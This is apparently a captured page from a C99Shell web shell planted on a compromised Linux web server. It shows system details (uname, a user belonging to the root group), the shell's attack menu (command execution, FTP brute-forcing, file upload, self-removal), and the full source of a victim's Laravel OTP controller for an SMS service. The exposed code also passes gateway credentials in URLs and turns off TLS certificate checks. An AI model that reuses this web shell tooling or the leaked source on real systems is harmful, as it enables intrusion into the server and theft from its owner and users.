!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/app/Http/Controllers/Api/   drwxr-xr-x
Free 28.52 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     OtpController.php (9.31 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Api;

use 
App\Http\Controllers\Controller;
use 
App\Models\AuthorizationToken;
use 
App\Models\Customer;
use 
App\Models\MessageLog;
use 
App\Models\Number;
use 
App\Models\Report;
use 
App\Models\SenderId;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Log;
use 
PHPUnit\Util\Exception;

class 
OtpController extends Controller
{
    public function 
sendOtp(Request $request)
    {
        
$authorizationTokenAuthorizationToken::where('access_token'$request->api_key)->first();
        if(!
$authorizationToken){
            return 
response()->json(['response'=>'1003']);
        }

        
$customerCustomer::where('id'$authorizationToken->customer_id)->first();

        if (!
$customer){
            return 
response()->json(['response'=>'1001']);
        }

        
$wallet $customer->wallet;

        
$otp_setting=$customer->settings()->where('name''otp_setting')->first();
        
$otp_setting=isset($otp_setting->value)?json_decode($otp_setting->value):'';

        
$fromType='';
        
$fromNumber='';
        
$dynamic_gateway='';
        if (isset(
$otp_setting->from_type) && $otp_setting->from_type){
            if (
$otp_setting->from_type=='number' && isset($otp_setting->phone_number)){
                
$number=Number::where('id'$otp_setting->phone_number)->first();

                if(
$number){
                    
$fromNumber=$number->number;
                    
$fromType=$number->from;
                    
$dynamic_gateway=$number->gateway;
                }
            }else if (
$otp_setting->from_type=='sender_id' && isset($otp_setting->sender_id)){
                
$senderId=SenderId::where('id'$otp_setting->sender_id)->first();
                if(
$senderId){
                    
$fromNumber=$senderId->sender_id;
                    
$fromType=$senderId->from;
                    
$dynamic_gateway=$senderId->gateway;
                }
            }
        }

        try {

            if (isset(
$otp_setting->status) && $otp_setting->status != 'active') {
                return 
response()->json(['response' => '1018']);
            }

            
$credentials json_decode(get_settings($fromType));

            
$toNumber $request->number;
            
$code $request->code;

            
$response='';
            if (
$fromType && $fromType == 'elitBuzzBD') {
                try{
                    
$response $this->elitbuzzBd($credentials$toNumber$fromNumber$code);
                }catch(
\Exception $e){
                    throw new 
\Exception($e->getMessage());
                }
            } else if (
$fromType && $fromType == 'route_mobile') {
                try {
                    
$response $this->routeMobile($credentials$toNumber$fromNumber$code);
                } catch (
\Exception $e) {
                    throw new 
\Exception($e->getMessage());
                }
            } else if (
$fromType && $fromType == 'bulksmsbd') {
                try {
                    
$response $this->bulkSmsBd($credentials$toNumber$fromNumber$code);
                } catch (
\Exception $e) {
                    throw new 
\Exception($e->getMessage());
                }
            }else{
                if(
$dynamic_gateway){
                    
$sendingUrl json_decode($dynamic_gateway->weblink)->url;
                    
$sendingUrlMethod json_decode($dynamic_gateway->weblink)->method;

                    
$parameters = [];
                    if (
$dynamic_gateway->others) {
                        foreach (
json_decode($dynamic_gateway->others) as $key => $gt) {
                            
$parameters[$key] = $gt;
                        }
                    }
                    
$headers = [];
                    if (
$dynamic_gateway->headers) {
                        foreach (
json_decode($dynamic_gateway->headers) as $key => $hd) {
                            
$headers[$key] = $hd;
                        }
                    }

                    
//SMS Body
                    
$parameters[$dynamic_gateway->message_key] = $code;
                    
//From Number
                    
$parameters[$dynamic_gateway->from_mobile_key] = $fromNumber;
                    
// To Number
                    
$parameters[$dynamic_gateway->to_mobile_key] = $toNumber;

                    if (
$sendingUrlMethod == 'post') {
                        
$sending_url $sendingUrl;
                        
$client = new \GuzzleHttp\Client(['verify' => false]);
                        
$response $client->post($sending_url, [
                            
'form_params' => $parameters,
                            
'headers' => $headers,
                        ]);
                        
$responseString $response->getBody()->getContents();
                        
// Log::info($responseString);
                    
} else {
                        
$sending_url $sendingUrl '?' http_build_query($parameters);

                        
$client = new \GuzzleHttp\Client(['verify' => false]);
                        
$response $client->get($sending_url, [
                            
'headers' => $headers,
                        ]);
                        
$responseString $response->getBody()->getContents();
                        
// Log::info($responseString);
                    
}

                }
            }


            
$wallet->credit$wallet->credit 1;
            
$wallet->save();


            return 
response()->json(['message' => $response]);
        }catch (
\Exception $ex){

                
$wallet->credit$wallet->credit 1;
                
$wallet->save();

            return 
response()->json(['messages'=>$ex->getMessage()]);
        }
    }


    function 
elitbuzzBd($credentials$toNumber$fromNumber$code)
    {
        if (!isset(
$credentials->elitBuzzBD_status) || $credentials->elitBuzzBD_status != 'active') {
            throw new 
\Exception('1019');
        }
        if (!
$credentials->elitBuzzBD_url || !$credentials->elitBuzzBD_api_key) {
            throw new 
\Exception('1020');
        }
        try {
            
$parameters = [
                
'api_key' => $credentials->elitBuzzBD_api_key,
                
'contacts' => $toNumber,
                
'senderid' => $fromNumber,
                
'msg' => $code,
                
'type' => 'unicode'
            
];
            
$parameters http_build_query($parameters);
            
$gateway_url $credentials->elitBuzzBD_url '?' $parameters;
            
$responseCode = ['1002''1003''1004''1005''1006''1007''1008''1009''1010''1011''1012''1013''1014''1015'];

            
$client = new \GuzzleHttp\Client(['verify' => false]);
            
$response $client->get($gateway_url);
            
$responseString $response->getBody()->getContents();
            if (isset(
$responseString) && in_array($responseString$responseCode)) {
                throw new 
\Exception('Error code ' $responseString);
            }
            return 
$responseString;
        } catch (
\Exception $ex) {
            
Log::error($ex->getMessage());
            throw new 
\Exception($ex->getMessage());
        }
    }

    function 
routeMobile($credentials$toNumber$fromNumber$code)
    {
        try {
            if (!isset(
$credentials->route_mobile_status) || $credentials->route_mobile_status != 'active') {
                throw new 
\Exception('1019');
            }
            if (!isset(
$credentials->route_mobile_url) || !isset($credentials->route_mobile_username) || !isset($credentials->route_mobile_password)) {
                throw new 
\Exception('1020');
            }


            
$url $credentials->route_mobile_url "?username=" $credentials->route_mobile_username "&password=" $credentials->route_mobile_password "&type=0&dlr=1&destination=" $toNumber "&source=" $fromNumber "&message=" $code;
            
$client = new \GuzzleHttp\Client(['verify' => false]);
            
$response $client->get($url);
            
$responseString $response->getBody()->getContents();
            
$responseArray explode('|'$responseString);
            return 
$responseArray;

        } catch (
\Exception $ex) {
            
Log::info($ex->getMessage());
            throw new 
\Exception($ex->getMessage());
        }
    }

    function 
bulkSmsBd($credentials$toNumber$fromNumber$code)
    {
        try {
            if (!isset(
$credentials->bulksmsbd_status) || $credentials->bulksmsbd_status != 'active') {
                throw new 
\Exception('1019');
            }
            if (!isset(
$credentials->bulksmsbd_username) || !isset($credentials->bulksmsbd_password) || !isset($credentials->bulksmsbd_url)) {
                throw new 
\Exception('1020');
            }

            
$parameters= array(
                
'username'=> $credentials->bulksmsbd_username,
                
'password'=> $credentials->bulksmsbd_password,
                
'number'=>str_replace('+','',$toNumber),
                
'message'=>"$code"
            
);

            
$sending_url $this->credentials->bulksmsbd_url;
            
$client = new \GuzzleHttp\Client(['verify' => false]);
            
$response $client->post($sending_url, [
                
'form_params' => $parameters,
            ]);
            
$responseString $response->getBody()->getContents();

            return 
$responseString;

        } catch (
\Exception $ex) {
            
Log::info($ex->getMessage());
            throw new 
\Exception($ex->getMessage());
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--